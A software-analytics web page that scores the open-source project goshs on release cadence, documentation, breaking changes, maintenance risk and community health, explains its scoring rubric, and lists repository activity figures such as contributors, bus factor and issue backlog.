Breaking-change disciplinehow rarely a release breaks users, and notice given
Maintenance riskquiet time against its own cadence, maintainers
Innovation & surfacenew capabilities, API and MCP surface
Community health
Contributor trenddistinct committers, this year against last
Maintainer concentrationbus factor now against a year ago
Issue backlog trendissues closed per issue opened, 12 months
Responsivenessmedian time to a maintainer’s first reply
Nine scores for goshs, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
Each score is 0–100 on a published rubric, derived from data this site already shows.
A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
Documentation quality — the release-notes rubric published on the analytics page, unchanged.
Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail goshs puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Issue, contributor and maintainer activity in goshs-labs/goshs, 2023-12 – 2026-11,
as of 2026-11-03. Twelve-month figures first; the trend lines run
the whole window.
Contributors3−4 vs prior 12 months
Maintainers1+0 joined · −0 left, last 12 months
Bus factor1committers behind half the commits
Community-filed82%of issues opened, last 12 months
Median time to close< 1 dayfirst maintainer reply 3.2 hours
Open backlog0of 89 issues ever filed
Issues opened / month1 · 0communitymaintainers
Open backlog0
Contributors / month0
Commits / month0
Stars978
Issue themes, last 12 months
bugs 47%
features 18%
other 35%
Counts from the project's public repository and git history; no individuals
are identified. Maintainers are the committers covering 80% of the last year's
commits. how we measure this
Libraries its release ships
What its latest release locks, checked against known advisories.
None of its release's images build from a lockfile we can read.
Add the badge to your README
Maintain this project? The badge links readers straight to this page, so they can
follow every release here.